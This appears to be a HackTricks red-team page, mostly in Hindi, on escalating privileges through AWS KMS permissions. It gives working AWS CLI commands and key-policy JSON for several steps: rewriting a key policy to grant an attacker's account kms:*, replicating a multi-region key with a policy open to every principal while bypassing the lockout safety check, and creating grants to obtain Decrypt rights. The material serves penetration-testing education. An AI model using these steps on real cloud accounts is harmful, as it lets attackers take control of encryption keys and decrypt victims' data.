AWS - KMS Privesc

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

KMS

KMS के बारे में अधिक जानकारी के लिए देखें:

pageAWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

इन अनुमतियों के साथ कुंजी के एक्सेस अनुमतियों को संशोधित करना संभव है ताकि इसका उपयोग अन्य खातों द्वारा या यहाँ तक कि किसी भी व्यक्ति द्वारा किया जा सके:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

यह एक प्रिंसिपल को एक KMS कुंजी का उपयोग करने की अनुमति देता है:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

एक अनुदान केवल कुछ प्रकार के ऑपरेशन की अनुमति दे सकता है: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

ध्यान दें कि KMS को उपयोगकर्ता को कुंजी का उपयोग करने की अनुमति देने में कुछ मिनट लग सकते हैं जब तक अनुदान उत्पन्न नहीं हो जाता। उस समय के बाद, प्रिंसिपल को कुंजी का उपयोग करने के लिए कुछ भी निर्दिष्ट करने की आवश्यकता नहीं होती है। हालांकि, अगर तुरंत अनुदान का उपयोग करना आवश्यक है एक अनुदान टोकन का उपयोग करें (निम्नलिखित कोड की जांच करें)। अधिक जानकारी के लिए यह पढ़ें

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

ध्यान दें कि यह संभव है कि कुंजी की अनुमतियों की सूची बनाई जा सकती है:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

इन अनुमतियों के साथ, एक विभिन्न क्षेत्र में एक विभिन्न नीति के साथ एक मल्टी-रीजन सक्षम KMS कुंजी की प्रतिलिपि बनाना संभव है।

इसलिए, एक हमलावर इसका दुरुपयोग करके कुंजी तक पहुंचने और उसका उपयोग करने के लिए इस्तेमाल कर सकता है

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

यह अनुमति किसी कुंजी का उपयोग करके कुछ जानकारी को डिक्रिप्ट करने की अनुमति देती है। अधिक जानकारी के लिए देखें:

pageAWS - KMS Post Exploitation
htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें

HackTricks का समर्थन करने के अन्य तरीके:

Last updated